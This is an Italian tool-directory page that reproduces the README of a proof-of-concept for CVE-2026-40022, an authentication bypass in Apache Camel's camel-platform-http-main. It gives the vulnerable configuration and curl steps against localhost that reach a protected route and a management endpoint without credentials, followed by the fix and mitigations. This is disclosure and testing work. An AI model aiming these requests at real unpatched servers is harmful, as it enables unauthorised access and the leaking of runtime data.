Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40022 — Reproducer per CVE-2026-40022: bypass dell'autenticazione di Apache Camel camel-platform-http-main su percorsi di contesto non root | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-40022
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneConfigurazione Errata
GitHuboscerd/cve-2026-40022

CVE-2026-40022

Reproducer per CVE-2026-40022: bypass dell'autenticazione di Apache Camel camel-platform-http-main su percorsi di contesto non root

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Bypass dell'autenticazione in camel-platform-http-main su context path non-root (CVE-2026-40022)

Questo progetto dimostra un bypass dell'autenticazione nel componente camel-platform-http-main di Apache Camel (il server HTTP / di gestione integrato del runtime main di Camel), tracciato come CVE-2026-40022. Quando l'autenticazione è abilitata e viene configurato un context path non-root (ad es. /api o /admin), l'handler di autenticazione copre solo l'esatto context path, quindi le richieste non autenticate verso sottopercorsi raggiungono rotte protette ed endpoint di gestione.

Advisory: https://camel.apache.org/security/CVE-2026-40022.html

Riepilogo della vulnerabilità

ProprietàValore
Componentecamel-platform-http-main (server HTTP/di gestione integrato del runtime Camel main)
Classi interessateBasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer
Causa principaleQuando authenticationPath non è impostato, viene derivato da camel.server.path; con il modello di mount del sub-router Vert.x, l'handler di auth corrisponde solo all'esatto context path, non ai suoi sottopercorsi
CWECWE-287: Autenticazione impropria (bypass dell'autenticazione)
ImpattoAccesso non autenticato a rotte di business protette ed endpoint di gestione (ad es. divulgazione di metadati runtime /observe/info)
Versioni interessateDalla 4.14.1 precedente alla 4.14.6, e dalla 4.15.0 precedente alla 4.18.2
Versioni corrette4.14.6, 4.18.2, 4.20.0
SegnalatoreJihang Yu
PRapache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x)

Dettagli tecnici

BasicAuthenticationConfigurer (e JWTAuthenticationConfigurer) risolvono il percorso che l'handler di auth protegge partendo da properties.getAuthenticationPath(), ricadendo su properties.getPath() (il context path camel.server.path) quando non è impostato esplicitamente:

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Il server Vert.x monta un sub-router su <contextPath>* e registra l'handler di auth all'interno di quel sub-router al percorso risolto. Nelle versioni interessate il percorso risolto è il context path stesso, quindi — rispetto al sub-router già montato su /api — l'handler di auth finisce per corrispondere a /api/api anziché a ogni sottopercorso. Di conseguenza:

  • /api/api viene sfidato (401) — l'handler è presente, solo con scope errato
  • /api/hello (la vera rotta di business) non viene sfidato → servito senza credenziali

La correzione fa sì che resolveAuthenticationPath restituisca /*, così l'handler copre tutti i sottopercorsi del sub-router.

Configurazione

application.properties — un context path non-root con auth abilitata e authenticationPath non impostato:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

La rotta è servita su /api/hello.

Prerequisiti

  • Java 17+
  • Maven 3.8+

Non è richiesto alcun servizio esterno o container Docker — il server HTTP vulnerabile è l'app stessa.

Passaggi per la riproduzione

Step 1: Build e avvio

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

Step 2: Mostrare che l'autenticazione È abilitata

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

Il BasicAuthHandler è attivo — ma con scope errato sull'esatto context path.

Step 3: Il bypass — raggiungere la rotta protetta senza credenziali

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (questa è una rotta di business PROTETTA)

Su una versione corretta (4.14.6 / 4.18.2 / 4.20.0) restituisce 401 Unauthorized.

Step 4: Con le credenziali funziona anche (come previsto)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

Impatto: divulgazione degli endpoint di gestione

Lo stesso difetto si applica al server di gestione (camel.management.path, ad es. /admin). Una richiesta non autenticata a un sottopercorso come /admin/observe/info raggiunge l'endpoint di gestione, che può divulgare metadati runtime: utente del sistema operativo, directory di lavoro/home, ID del processo, informazioni su JVM e sistema operativo.

Condizioni di sfruttamento

  1. Runtime main di Camel con camel-platform-http-main.
  2. Autenticazione abilitata sul server o sul server di gestione.
  3. Un context path non-root (camel.server.path / camel.management.path).
  4. camel.server.authenticationPath / camel.management.authenticationPath non impostati esplicitamente.

Correzione consigliata

Aggiornare a 4.14.6 / 4.18.2 / 4.20.0. La correzione (resolveAuthenticationPath) fa sì che l'handler di auth copra ogni sottopercorso:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // prima: l'esatto context path
}

Mitigazione

Fino all'aggiornamento:

  1. Impostare esplicitamente camel.server.authenticationPath = /* (e camel.management.authenticationPath = /*) così l'handler copre tutti i sottopercorsi.
  2. Tenere il server di gestione solo su una rete affidabile.

File

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Punto di ingresso del runtime Camel main
    │   └── HelloRoute.java           # una rotta platform-http protetta (/api/hello)
    └── resources/
        ├── application.properties    # path non-root + auth abilitata (la configurazione vulnerabile)
        └── auth.properties           # utente basic-auth (camel / propertiesPass)

Disclaimer

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza autorizzazione esplicita.

Scarica lo strumento